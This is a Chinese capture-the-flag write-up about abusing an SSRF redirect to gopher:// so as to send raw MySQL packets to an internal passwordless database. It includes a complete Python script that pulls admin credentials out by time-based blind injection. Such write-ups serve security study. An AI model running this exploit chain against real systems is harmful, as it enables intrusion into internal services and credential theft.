[题目]记一次利用gopher的内网mysql盲注

  • 进去之后随便输账号密码登陆, 发现是个send.php在url后缀中,疑似文件包含,尝试用phpfilter发现可以任意读取,把源码down下来之后发现是个利用gopher的ssrf,题目已经提示得很明显了,利用站外location跳转到gopher协议下进行内网操作, 然后还能读到一个sql文件个conn.php,并且数据库无密码.那么应该是操作数据库了, 但是这里有两个问题,1:不知道数据库的端口 2:curl没有回显
    首先第一个问题我们直接去读取/proc/net/tcp看看本機的监听端口,发现一个80和一个1111,那毫无疑问1111就是mysql的端口了(端口以hex展示)
 sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 62508910 1 0000000000000000 100 0 0 10 0                  
   1: 00000000:0457 00000000:0000 0A 00000000:00000000 00:00000000 00000000 999 0 62513855 1 0000000000000000 100 0 0 10 0                  
   2: 040011AC:0050 09000A0A:ACAA 01 00000000:00000000 00:00000000 00000000 33 0 62524723 1 0000000000000000 20 4 32 10 -1                 
  • 在说操作mysql之前我们先构造好gopher协议下的mysql数据包,这里我用的是tcpdump监听本地3306端口后再用wireshark提取出需要的数据包
    前置知识: tcp/ip方式连接mysql的过程(强行只说4.0以后的协议)
    image
    (图片来自https://segmentfault.com/a/1190000012166738)
    所以我们需要3个包,一个是发送认证请求的包、一个发送我们query的包、一个quit包
    这里还涉及到一个小知识是mysql的用户认证是采用了挑战应答的方式,由服务器生成一个挑战数发送给用户之后用户用挑战数加密密码返回给服务器,服务器检查结果是否与预期相同, 这里需要无授权mysql用户的原因就是如果密码为空的话挑战加密结果就是空, 这样的话认证数据包就能每次相同了
    query包则相对结构简单,quit包格式固定
  • 首先tcpdump -i lo0 -w mysql.pcap port 3306 -i网卡 -w导出到文件 然后本地马上TCP/IP方式连接数据库进行select操作, 最后exit
    11ea80a7-1e91-436c-a74d-cec9c0fff6db.png

将需要的请求包的原始数据(hex)拿下来之后转换成urlencoded的格式利用gopher协议访问 类似于这样:


c229b719-80e1-4a82-9217-ab264e40be9b.png

返回到了我们期望的0

  • 然后我们解决没有回显的问题:
    方法一:采用带外攻击尝试利用dns查询带出去,推荐ceye.io (此方法不可用 经Gaia大佬的提醒 因为只有windows才有unc路径Orz..)
    方法二:采用dumpfile的方式写文件到tmp目录后读取 (后来发现此mysql用户没有写权限)
    方法三:最蠢的方法, 直接利用时间盲注 (最后用了这个方法)

  • 然后最后一点需要注意的是在盲注的过程中数据包的长度会变化,要更改数据包包头长度
    脚本:

import requests
import time
import os

url = 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php'
headers = {
'Host': '70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php',
'Cookie': 'Hm_lvt_1a32f7c660491887db0960e9c314b022=1503915500; Hm_lvt_9104989ce242a8e03049eaceca950328=1499841280,1499841321,1500792273; pgv_pvi=2458169344; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1509698028,1511583430,1511759905; UM_distinctid=1621015174e3f-07d3d76d358413-485860-384000-1621015174f3eb; PHPSESSID=p2aqa6ls1v5pvrlvt40599ino4',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
remote = 1
se = requests.Session()
raw_conn = 'a400000105a6ff0100000001210000000000000000000000000000000000000000000000446f6700006d7973716c5f6e61746976655f70617373776f72640068035f6f73086f737831302e31330c5f636c69656e745f6e616d65086c69626d7973716c045f70696404353133300f5f636c69656e745f76657273696f6e06352e372e3231095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c'
# raw_select_db = '120000000353454c45435420444154414241534528290b00000002757365725f61646d696e'
raw_blind_query = '%s0000000373656c65637420696628617363696928737562737472282873656c6563742067726f75705f636f6e63617428757365726e616d652c70617373776f7264292066726f6d20757365725f61646d696e2e61646d696e292c%s2c3129293d%s2c736c6565702835292c3029'
raw_end_conn = '0100000001'
content = 'adminfla'

for x in xrange(8,100):
 for y in xrange(33,126):
  packet_length = 107
  if x >= 10 :
   packet_length += 1
  if x >= 100:
   packet_length += 1
  if y >= 100 :
   packet_length += 1
  b = []
  raw_code = (raw_conn + raw_blind_query + raw_end_conn) % (hex(packet_length)[2:], str(x).encode('hex'), str(y).encode('hex'))
  # print raw_code
  # exit()
  l = len(raw_code)
  for z in xrange(l):
   if z % 2 == 0:
    b.append(raw_code[z:z+2])
  urlencoded = '%' + '%'.join(b)
  # payload = 'gopher://127.0.0.1:1111/_' + urlencoded
  if remote == 0:
   payload = 'gopher://127.0.0.1:3306/_' + urlencoded
   s = time.time()
   os.system('curl ' + payload)
   # print payload
   # exit()
   if time.time() - s >= 5:
    print 'found! ' + chr(y)
    break
   else:
    print y
  elif remote == 1:
   payload = 'gopher://127.0.0.1:1111/_' + urlencoded
   with open('index.php','wb') as f:
    f.write('<?php\nheader(\'Location:' + payload + '\');\n')
   try:
    s = time.time()
    res = se.post(url, headers=headers, data={'url':'http://xxx.xxx.xxx.xxx'})
    # print res.status_code
    time.sleep(0.1);
    if time.time() - s >= 5.1 and res.status_code == 200:
     content += chr(y)
     print 'Found!! ' + chr(y)
     print content
     break
    else:
     print y
   except Exception as e:
    pass

poc:


f9945682-7cb0-4d63-be77-11febd8983f7.png

flag在admin表内

参考文章:
http://www.freebuf.com/articles/web/159342.html
https://segmentfault.com/a/1190000012166738

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,511评论 1 330
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,495评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,595评论 0 225
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,558评论 0 190
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,715评论 3 270
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,672评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,112评论 2 291
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,837评论 0 181
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,417评论 0 228
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,928评论 2 232
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,316评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,773评论 2 234
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,253评论 3 220
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,827评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,440评论 0 180
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,523评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,583评论 2 249

推荐阅读更多精彩内容